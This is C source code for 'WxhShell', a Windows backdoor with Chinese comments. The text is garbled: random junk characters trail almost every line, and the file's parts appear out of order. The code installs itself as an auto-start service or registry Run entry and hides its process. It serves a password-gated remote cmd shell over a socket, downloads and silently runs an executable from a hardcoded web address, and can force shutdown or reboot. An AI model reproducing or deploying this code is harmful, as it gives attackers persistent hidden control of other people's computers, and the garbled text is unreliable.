    if(Boot(SHUTDOWN)) }ya9 +?I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l7P~_X_)"  
    else { kGMI ?  
    closesocket(wsh); eVDI7W:(Sn  
    ExitThread(0); ;Z"6ve4  
    } tq^H)  
    break; \5Jpr'mY5  
    } Pz1pEyuL  
  // 获取shell ,P<n\(DQ  
  case 's': { l M5Xw  
    CmdShell(wsh); .4~n|d>z  
    closesocket(wsh); V Z;ASA?;  
    ExitThread(0); ^l6q  
    break; -lm\~VZT3  
  } (AdQ6eGMb  
  // 退出 [(Pm\o  
  case 'x': { w7 ]@QTC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0t1WvW  
    CloseIt(wsh); Z*QsDS  
    break; 4*_9Gl  
    } @U(D&_H,K  
  // 离开 n9Z|69W6>  
  case 'q': { m-UI^M,@<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0*q&)  
    closesocket(wsh); Lz S@@']  
    WSACleanup(); .Kr?vD^nG  
    exit(1); WLEjRx  
    break; qde.;Yv9  
        } .S17O}  
  } $z]gy]F  
  } Dg4 ?,{c9W  
&'UY V>  
  // 提示信息 &CFHH"OsT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }r6SV%]:  
} :grJ}i-D  
  } { D1.  
ao<@a{G  
  return; U&|=dH]-  
} {b[8x   
YsXP$y]g-  
// shell模块句柄 M& GA:`  
int CmdShell(SOCKET sock) O/>$kG%ge  
{ RiF~-;v&  
STARTUPINFO si; H~1*`m  
ZeroMemory(&si,sizeof(si)); ;GO>#yg4Eh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -82Rz   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e;R5A6|  
PROCESS_INFORMATION ProcessInfo; EUU9JnQhBJ  
char cmdline[]="cmd"; 7E4=\vM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `(<XdlOj  
  return 0; V4}9f5FR  
} l njaHol0  
xj iMM>|n  
// 自身启动模式 7M<Ae D%  
int StartFromService(void) DF/p{s1Y3  
{ P}y}IR{6  
typedef struct Slcf=  
{ WaQCq0Enj  
  DWORD ExitStatus; b2. xJ4  
  DWORD PebBaseAddress; `9Zoq=/  
  DWORD AffinityMask; 8l0%:6XbI  
  DWORD BasePriority; ,2/qQD n/  
  ULONG UniqueProcessId; CE:TQzg  
  ULONG InheritedFromUniqueProcessId; !9DqW&8  
}   PROCESS_BASIC_INFORMATION; -kxNJ Gc?  
@kn0f`  
PROCNTQSIP NtQueryInformationProcess; %p)6m 2Sb  
r}MXXn,f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?h"+q8&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0~Ot  
2c@R!*  
  HANDLE             hProcess; abUvU26t  
  PROCESS_BASIC_INFORMATION pbi; 1 e1$x@\\  
={-\)j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |S|0'C*  
  if(NULL == hInst ) return 0; UMuqdLaT9  
ZFNM>C^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ngj=w;7~+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M2_sxibI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4:=']C  
snO d 3Bw  
  if (!NtQueryInformationProcess) return 0; cHs@1R/-s  
R_:47.qq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N&U=5c`Q'  
  if(!hProcess) return 0; lwaxj7  
8i=J(5=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4<)%Esyb  
rY_)N^B|nF  
  CloseHandle(hProcess); q [Rqy !,  
>xws  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )uiYu3 I  
if(hProcess==NULL) return 0; :2{6Pa(eg  
#"fBF/Q  
HMODULE hMod; r5> FU>7'  
char procName[255]; \R yOexNZ  
unsigned long cbNeeded; W# E`h  
d76k1-m\o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O7 %<(  
N}b/; Y  
  CloseHandle(hProcess); fi^ I1*S  
3r!6Z5P7{'  
if(strstr(procName,"services")) return 1; // 以服务启动 ,y>,?6:>  
"<H.F 87Z)  
  return 0; // 注册表启动 eTem RNz  
} B *p`e1  
a,tzt ]>  
// 主模块 %bgjJ`  
int StartWxhshell(LPSTR lpCmdLine) hJ\IE?+  
{ KSnU;B6w>  
  SOCKET wsl; l5QH8eNwME  
BOOL val=TRUE; z %{Z  
  int port=0; 'd4I/  
  struct sockaddr_in door; 56t9h/y  
Md(AqaA  
  if(wscfg.ws_autoins) Install(); .|iMKRq  
2K4Jkyi  
port=atoi(lpCmdLine);  \B) a57  
6MQ+![fN  
if(port<=0) port=wscfg.ws_port; A5cx!h  
5[}3j1  
  WSADATA data; q&OF?z7H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u :AKp<'  
NC'+-P'y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b9Jah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iq2)oC_  
  door.sin_family = AF_INET; <qjNX-|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =&G<^7  
  door.sin_port = htons(port); !D6   
_L 5<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DKw%z8ft|  
closesocket(wsl); i3#To}g5V  
return 1; d5h]yIz^  
} uvR9BL2=  
q)vdDdRe_  
  if(listen(wsl,2) == INVALID_SOCKET) { HYm |  
closesocket(wsl); ^Z1t'-xZ  
return 1; ]5| o8.  
} ^f*}]`S  
  Wxhshell(wsl); `2N&{(  
  WSACleanup(); kHLpa/A  
=OY&;d!C  
return 0; zY_xJ"/9  
8>^(-ca_  
} i4;`dCT|A  
I3sH8/*  
// 以NT服务方式启动 *FhD%><  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tk~RT<\Ab+  
{ b{Srd3  
DWORD   status = 0; xS.Rpx/8  
  DWORD   specificError = 0xfffffff; vxuxfi8x  
?^y%UIzf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qZw4"&,j$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >d#oJ?goX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $7M/rF;N5X  
  serviceStatus.dwWin32ExitCode     = 0; bz5",8Mn  
  serviceStatus.dwServiceSpecificExitCode = 0; i T* !3  
  serviceStatus.dwCheckPoint       = 0; =2+';Xk\  
  serviceStatus.dwWaitHint       = 0; kkWqP20q  
xW|^2k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~{69&T}9  
  if (hServiceStatusHandle==0) return; x1H?e8  
X^204K%:  
status = GetLastError(); hv" 'DP  
  if (status!=NO_ERROR) &?+vHE}  
{ 9J>b6   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [t)omPy<c  
    serviceStatus.dwCheckPoint       = 0; 2hB';Dv  
    serviceStatus.dwWaitHint       = 0; 85;hs  
    serviceStatus.dwWin32ExitCode     = status; $BIQ# T>qK  
    serviceStatus.dwServiceSpecificExitCode = specificError; jC_7cAsl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  3Ee8_(E\  
    return; /rMxl(wD'  
  } \=n0@1Q=>  
aJh=4j~.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /48W]a}JS  
  serviceStatus.dwCheckPoint       = 0; W40GW  
  serviceStatus.dwWaitHint       = 0; 7\.Ax  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D+$k  
} agQ5%t#  
#Bo/1G=  
// 处理NT服务事件,比如:启动、停止 Zmx[u_NG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aFkxR\x 6%  
{ <9za!.(zu  
switch(fdwControl) Y>OL2g  
{ B_f0-nKP  
case SERVICE_CONTROL_STOP: qg7] YT&  
  serviceStatus.dwWin32ExitCode = 0; b0\'JZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ONx|c'0g  
  serviceStatus.dwCheckPoint   = 0; o;#{N~4[$  
  serviceStatus.dwWaitHint     = 0; TmN}TMhZ  
  { NW-l_]k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7V/yU5  
  } |=OO$z;q|  
  return; P1P P#>E-2  
case SERVICE_CONTROL_PAUSE: 3J\NkaSR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6{O#!o*g  
  break; 0 O{Y Vk`  
case SERVICE_CONTROL_CONTINUE: wp/u*g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H>AzxhX[n  
  break; P\ yt!S2  
case SERVICE_CONTROL_INTERROGATE: cQ4TYr;?  
  break; uj.~/W1,!  
}; )g4oUZDF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TO\%F}m(  
} Z=: oIAe  
niO(>  
// 标准应用程序主函数 Z_%}pe39B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fa(}:Ug  
{ Y^)VHE]  
-t9oL3J  
// 获取操作系统版本  m8rz i:  
OsIsNt=GetOsVer(); #Id.MLHxA_  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  FNZB M  
CK e  
  // 从命令行安装 =goZI67  
  if(strpbrk(lpCmdLine,"iI")) Install(); fgxsC7P$  
}9C5U>?  
  // 下载执行文件 '-#6;_ i<  
if(wscfg.ws_downexe) { V:42\b7x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^H+j;K{5,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~qNpPIrGr  
} -X@;"0v  
?o0#h  
if(!OsIsNt) { 6'C!Au  
// 如果时win9x,隐藏进程并且设置为注册表启动 SwQ.tK1p  
HideProc(); =J8)Z'Jr  
StartWxhshell(lpCmdLine); 1{ #Xa=  
} VmQ7M4j*  
else }nE#0n  
  if(StartFromService()) M3Kpp _d_!  
  // 以服务方式启动 x7e  
  StartServiceCtrlDispatcher(DispatchTable); < /y V  
else oWyg/{M  
  // 普通方式启动 y? [*qnPj  
  StartWxhshell(lpCmdLine); Y6A]dk  
b* Ipg8n+  
return 0; e,E;\x &  
} Fga9  
k?Jzy  
}wR)p  
ilK8V4k<T)  
=========================================== +ZXGT  
KGUpXMd^Z  
yh_s(>sh  
EpGe'S  
{s8''+Q#(-  
qn@Qd9Sf  
" 3Gn2@`GC  
We#*.nr{3Z  
#include <stdio.h> 9[N' HpQ3  
#include <string.h> SU# S'  
#include <windows.h> V`69%35*@  
#include <winsock2.h> ?l,i(I  
#include <winsvc.h> @6*<Xs =  
#include <urlmon.h> 6@2p@eYo  
z!Kadqns  
#pragma comment (lib, "Ws2_32.lib") K=sQ_j.&Z  
#pragma comment (lib, "urlmon.lib")  1 ,PFz  
mQ%kGqs  
#define MAX_USER   100 // 最大客户端连接数 ~Y)Au?d(a  
#define BUF_SOCK   200 // sock buffer RqHxKj  
#define KEY_BUFF   255 // 输入 buffer Op3 IL/  
n2#uH  
#define REBOOT     0   // 重启 b&~uK"O'7d  
#define SHUTDOWN   1   // 关机 {>FA ~}cX.  
s*k"-5  
#define DEF_PORT   5000 // 监听端口 _;01/V"q6  
(kp}mSw  
#define REG_LEN     16   // 注册表键长度 .M>u:,v  
#define SVC_LEN     80   // NT服务名长度 `?JrC3  
ZuS+p0H"  
// 从dll定义API d c&Qi_W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lYw A5|+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  NkO$ M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f| N(~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bT{P1nUu  
/LSiDys  
// wxhshell配置信息 /HzhgMV3  
struct WSCFG { {bETHPCf  
  int ws_port;         // 监听端口 ,A6*EJ\w   
  char ws_passstr[REG_LEN]; // 口令 cJ8*[H<NV  
  int ws_autoins;       // 安装标记, 1=yes 0=no '&<-,1^L  
  char ws_regname[REG_LEN]; // 注册表键名 OD1ns  
  char ws_svcname[REG_LEN]; // 服务名 ==FzkRA)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BC$In!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VDnAQ[T@d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KktTR`W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WZ&#O#(eO`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !;\-V}V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aRG[F*BY  
E"G. _<3J8  
}; 5 h{Hf]A  
NZlJ_[\$C  
// default Wxhshell configuration |9\Lv $VJ  
struct WSCFG wscfg={DEF_PORT, +V'r >C:  
    "xuhuanlingzhe", +^69>L2V  
    1, 1~`g fHI4  
    "Wxhshell", ]hf4= gm  
    "Wxhshell", gwqK`ww  
            "WxhShell Service", )d.7xY7!  
    "Wrsky Windows CmdShell Service", ptDA))7M/  
    "Please Input Your Password: ", SiBbz4  
  1, $!vi:+ED  
  "http://www.wrsky.com/wxhshell.exe", '6WDs]\  
  "Wxhshell.exe" t o?"{  
    }; e1/|PgT(KM  
c//W#V2Q  
// 消息定义模块 LB{a&I LG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pH~JPNng  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (Iq\+@xE=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AT9SD vJ  
char *msg_ws_ext="\n\rExit."; ?,8b-U#A1  
char *msg_ws_end="\n\rQuit."; x< 3vA|o  
char *msg_ws_boot="\n\rReboot..."; AMm O+E?  
char *msg_ws_poff="\n\rShutdown..."; $OhL 95}7  
char *msg_ws_down="\n\rSave to "; h=U 4  
*xjIl<`pK  
char *msg_ws_err="\n\rErr!"; O~Fk0}-  
char *msg_ws_ok="\n\rOK!"; (@#Lk"B  
,pG63&?j  
char ExeFile[MAX_PATH]; z`2d(KE?  
int nUser = 0; '{u#:TTj  
HANDLE handles[MAX_USER]; P<(mH=K  
int OsIsNt; @"EX%v.  
~ dk1fh  
SERVICE_STATUS       serviceStatus; uA,{C%?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ixH7oWH#  
nagto^5X  
// 函数声明 vSL{WT]m  
int Install(void); 52 A=c1kb  
int Uninstall(void); 2M1mdkP3  
int DownloadFile(char *sURL, SOCKET wsh); k %rP*b*  
int Boot(int flag); zF$wz1 %  
void HideProc(void); sI'HS+~pU  
int GetOsVer(void); puyL(ohem  
int Wxhshell(SOCKET wsl); #P@r[VZ{6  
void TalkWithClient(void *cs); ;7A,'y4f  
int CmdShell(SOCKET sock); P3|<K-dFAK  
int StartFromService(void); Smu x&e  
int StartWxhshell(LPSTR lpCmdLine); !Yf0y;e|:  
`j$d(+Gv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'ng/A4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qs b4@jt+  
CYu8J@(\~g  
// 数据结构和表定义 n 3]y$wK  
SERVICE_TABLE_ENTRY DispatchTable[] = /Rz,2jfRx'  
{ *Wau7  
{wscfg.ws_svcname, NTServiceMain}, |Wgab5D>V  
{NULL, NULL} l{AT)1;^  
}; qTGy\i  
q<8HG_  
// 自我安装 TExlGAHo+O  
int Install(void) F{+`F<r  
{ ~e8n yB  
  char svExeFile[MAX_PATH]; c 1GP3  
  HKEY key; A~>=l=  
  strcpy(svExeFile,ExeFile); a+i+#*8wm  
h:NXO'  
// 如果是win9x系统,修改注册表设为自启动 u5_fM*Ka  
if(!OsIsNt) { rY= #^S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mTgn}rXk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1hWz%c|  
  RegCloseKey(key); 9 JtG&^*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *2MTx   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J_@4J7  
  RegCloseKey(key); :[39g;V}c  
  return 0; ?0a 0 R  
    } C=cTj7Ub  
  } )]R?v,9*D  
} J|IDnCK  
else { ~dLZ[6Z  
J5T#}!f  
// 如果是NT以上系统,安装为系统服务 aB)DX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <hbbFL}|%  
if (schSCManager!=0) 6zWvd  
{ 5XHkRcESZ  
  SC_HANDLE schService = CreateService dFFqs&cQ  
  ( 3lN+fQ>)S  
  schSCManager, m~eWQ_a]C@  
  wscfg.ws_svcname, O :^[4$~  
  wscfg.ws_svcdisp, . 6dT5x8u  
  SERVICE_ALL_ACCESS, -c@ 5qe>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qg!*=<b  
  SERVICE_AUTO_START, &L]*]Xz;  
  SERVICE_ERROR_NORMAL, $H}Mn"G  
  svExeFile, -pu\p-Z  
  NULL, Gf\_WNrSE+  
  NULL, du,-]fF  
  NULL, ={ '($t%|T  
  NULL, rg}kxvu  
  NULL %#a%Luq  
  ); uek3Y[n  
  if (schService!=0) JUFO.m^w  
  { {Xd5e@:Js  
  CloseServiceHandle(schService); P0z{R[KBH  
  CloseServiceHandle(schSCManager); 4?& a?*M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CF"3<*%x  
  strcat(svExeFile,wscfg.ws_svcname); "n, ZP@M;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z]AS@}wWqg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;hJ*u  
  RegCloseKey(key); e~;)-Z  
  return 0; iXRt9)MT{  
    } %Qz`SO8x?  
  } ;i :wY&  
  CloseServiceHandle(schSCManager); TWEqv<c  
} Y j\yO(o/  
} m4>o E|\  
s.)w A`&&  
return 1; z{L;)U B^  
} (Nb1R"J `  
H> iZVE  
// 自我卸载 D  .R  
int Uninstall(void) b'5pQ2Mq  
{ @I6A9do  
  HKEY key; p|V1Gh<  
jgw'MpQm{  
if(!OsIsNt) { r.^X>?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#'_@zZz  
  RegDeleteValue(key,wscfg.ws_regname); _Pi:TxY   
  RegCloseKey(key);  89=JC[c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RpP[ymMZJ  
  RegDeleteValue(key,wscfg.ws_regname); F)kLlsp  
  RegCloseKey(key); $ _Bu,;  
  return 0; e*6` dz@  
  } xH#a|iT?(  
} @zF:{=+]+  
} g 'a?  
else { +/86w59  
hg'!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,nRwwFd.  
if (schSCManager!=0) 8z8SwWS?  
{ = S8>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }QW~.>`  
  if (schService!=0) bvS\P!m\c  
  { gD+t'qg$  
  if(DeleteService(schService)!=0) { N: jiZ)  
  CloseServiceHandle(schService); +u:O AsR  
  CloseServiceHandle(schSCManager); Lj-&TO}OZ  
  return 0; DB'KIw  
  } I jztj  
  CloseServiceHandle(schService); [mzF)/[_2  
  }  ^-*Tn  
  CloseServiceHandle(schSCManager); xWe1F2nY  
} SH$cn,3F8  
} gJ8 c]2c  
LNxE-Dp  
return 1; )K%O/H  
} (DP9& b  
02#Iip3t  
// 从指定url下载文件 vek:/'sj3p  
int DownloadFile(char *sURL, SOCKET wsh) T1!Gr!=  
{ MGKeD+=5  
  HRESULT hr; seU^IC<  
char seps[]= "/"; a{Hb7&  
char *token; @:QdCG+  
char *file; iA{jKk=  
char myURL[MAX_PATH]; 7RC096 ?}  
char myFILE[MAX_PATH]; S@zkoj@  
J}_Dpb[L  
strcpy(myURL,sURL); qq7X ",s  
  token=strtok(myURL,seps); pW--^aHu  
  while(token!=NULL) +ls*//R  
  { F@'rP++4  
    file=token; {r2|fgi  
  token=strtok(NULL,seps); ?r E]s!K  
  } {!eANm'  
mS~ ]I$  
GetCurrentDirectory(MAX_PATH,myFILE); A1t~&?  
strcat(myFILE, "\\"); CC(*zrOd-  
strcat(myFILE, file); =>z tBw\  
  send(wsh,myFILE,strlen(myFILE),0); .A!0.M|  
send(wsh,"...",3,0); X8SRQO^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #!u51P1  
  if(hr==S_OK) ,\9mAt1O  
return 0; ~& WN)r'4y  
else QT= ,En  
return 1; /< 7C[^h{-  
!+DJhw&c,  
} P9TBQW2G{  
hn\Q6f+  
// 系统电源模块 oYh<k  
int Boot(int flag) fw|+7 O  
{ =_m9so  
  HANDLE hToken; SM /ykk  
  TOKEN_PRIVILEGES tkp; DMcxa.Sd!  
T<e7(=  
  if(OsIsNt) { 6+B{4OY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o|;eMO-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !MJe+.  
    tkp.PrivilegeCount = 1; 9+8!xwR:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^*x Hy`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N>pmhskN?  
if(flag==REBOOT) { d1TdH s\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =1 BNCKT<  
  return 0; {pb9UUP2  
} v]{uxlh  
else { 6(J4IzZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4]aiT8))  
  return 0; G]mWaA  
} ,s><kHJ  
  } <ql w+RVt  
  else { 6snOMa GRu  
if(flag==REBOOT) { Z2rzb{oS}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V@ _-H gg  
  return 0; m UWkb  
} %`?;V;{=  
else { )o9Q5Lq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]KXMGH_  
  return 0; "\/^/vn?  
} )b&-3$?  
} W[>iJJwz  
h^A3 0f_x  
return 1; hY=w|b=Y  
} F?8BS*r_  
/$9BPjO{  
// win9x进程隐藏模块 WfRfx#MMt  
void HideProc(void) @1qdd~B}  
{ Ki/'Ic1  
)W`SC mr]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 @%B?  
  if ( hKernel != NULL ) i>Fvmw  
  { Lvi[*une|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Ei o$TI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +:>JZ$  
    FreeLibrary(hKernel); dCZ\ S91q  
  } j1puB  
{4: -0itG  
return; Pknc[h},  
} h@~:(:zU$  
\9]I#Ih}M  
// 获取操作系统版本 wy{\/?~c  
int GetOsVer(void) w{3Q( =&  
{ Re*|$r#  
  OSVERSIONINFO winfo; G[3k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tx0Go'{  
  GetVersionEx(&winfo); BrJ o!@<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aXdf>2c{JD  
  return 1; 3ar=1_Ar  
  else Y5ogi )  
  return 0; k]?z~p  
} JBR[; zM  
=n-z;/NL  
// 客户端句柄模块 ?&znUoB  
int Wxhshell(SOCKET wsl) z wL3,!t  
{ >[ug zJ  
  SOCKET wsh; co5y"yj_  
  struct sockaddr_in client; ?fK^&6pI  
  DWORD myID; #>8T*B  
5M%,N-P^  
  while(nUser<MAX_USER) ~{L.f94N  
{ LBiowd[  
  int nSize=sizeof(client); V43nws "4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K8?zgRG3~N  
  if(wsh==INVALID_SOCKET) return 1; 5x8'K7/4.  
Yd' H+r5b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dG&2,n'f  
if(handles[nUser]==0) n6b3E *  
  closesocket(wsh); iQt!PMF.  
else R? O-x9  
  nUser++; J &!B|TS  
  } [tUv*jw%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -$U@By<SJ  
]o-Fi$h!  
  return 0; Wk@ eV\H71  
} 2~f6~\4GL+  
z!fdx|PUX  
// 关闭 socket fr+@HUOxsl  
void CloseIt(SOCKET wsh) 4d!S#zx  
{ h4f ~5- Y  
closesocket(wsh); ,I]7g4~  
nUser--; [#p&D~Du&  
ExitThread(0); n`]l^qE  
} FbveI4  
U,e'ZRU6  
// 客户端请求句柄 Fse['O~  
void TalkWithClient(void *cs) >):m-I  
{ ?^|QiuU:n  
1h2H1gy5I3  
  SOCKET wsh=(SOCKET)cs; n ]w7Zj  
  char pwd[SVC_LEN]; lLH$`Wnv  
  char cmd[KEY_BUFF]; sf`PV}a1  
char chr[1]; /I`3dWL  
int i,j; 5^yG2&>#  
qgtn5] A  
  while (nUser < MAX_USER) { ! ,@ZQS  
-Q#o)o  
if(wscfg.ws_passstr) { `)6>nPr7P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Nbos.a]5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Q5&5UrBr  
  //ZeroMemory(pwd,KEY_BUFF); MEEAQd<*  
      i=0; <yZP|_  
  while(i<SVC_LEN) { `\!X}xiWd  
i^WIr h3a  
  // 设置超时 lX"bN=E?!  
  fd_set FdRead; Qm< gb+  
  struct timeval TimeOut; NCi>S%pD`<  
  FD_ZERO(&FdRead); i3\~Qj;1  
  FD_SET(wsh,&FdRead); D}w<84qX  
  TimeOut.tv_sec=8; rj3YTu`  
  TimeOut.tv_usec=0; y0<U u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zd[OWF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Ab{H%  
?4 qkDtm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+<d1W`>0  
  pwd=chr[0]; [ByQ;s5tY  
  if(chr[0]==0xd || chr[0]==0xa) { [EgW/\35  
  pwd=0; vf<UBa;Xm  
  break; ;UrK {>B  
  } i}B;+0<drx  
  i++; r0\?WoF2C  
    } O+_N!/  
<c+K3P'3?  
  // 如果是非法用户,关闭 socket G+VD8]!K1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gz;&u)  
} g`[`P@  
>Q=Ukn;k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1* ^'\W.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "b]#MO}P  
/THnfy \  
while(1) { 9${Xer'  
T1W:>~T5#  
  ZeroMemory(cmd,KEY_BUFF); (bv,02  
NG" yPn  
      // 自动支持客户端 telnet标准   P]Xbjs<p  
  j=0; h0Ee?=  
  while(j<KEY_BUFF) { g6%Z)5D]!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XKqK<!F  
  cmd[j]=chr[0]; X\\7$  
  if(chr[0]==0xa || chr[0]==0xd) { >&WhQhZ3kg  
  cmd[j]=0; 44HiTWQS?l  
  break; ]CX[7Q+'  
  } &cu!Hx  
  j++; 'eyJS`  
    } pjw aL^  
R* 9NR,C  
  // 下载文件 (?3[3 w~  
  if(strstr(cmd,"http://")) { FRZs[\I|iT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :$g8Zm,y  
  if(DownloadFile(cmd,wsh)) m!O;>D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26L~X[F  
  else ;Lo&}U3F,!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BAV>o|-K  
  } PB9/m-\H  
  else { %}&(h/= e  
MT6/2d  
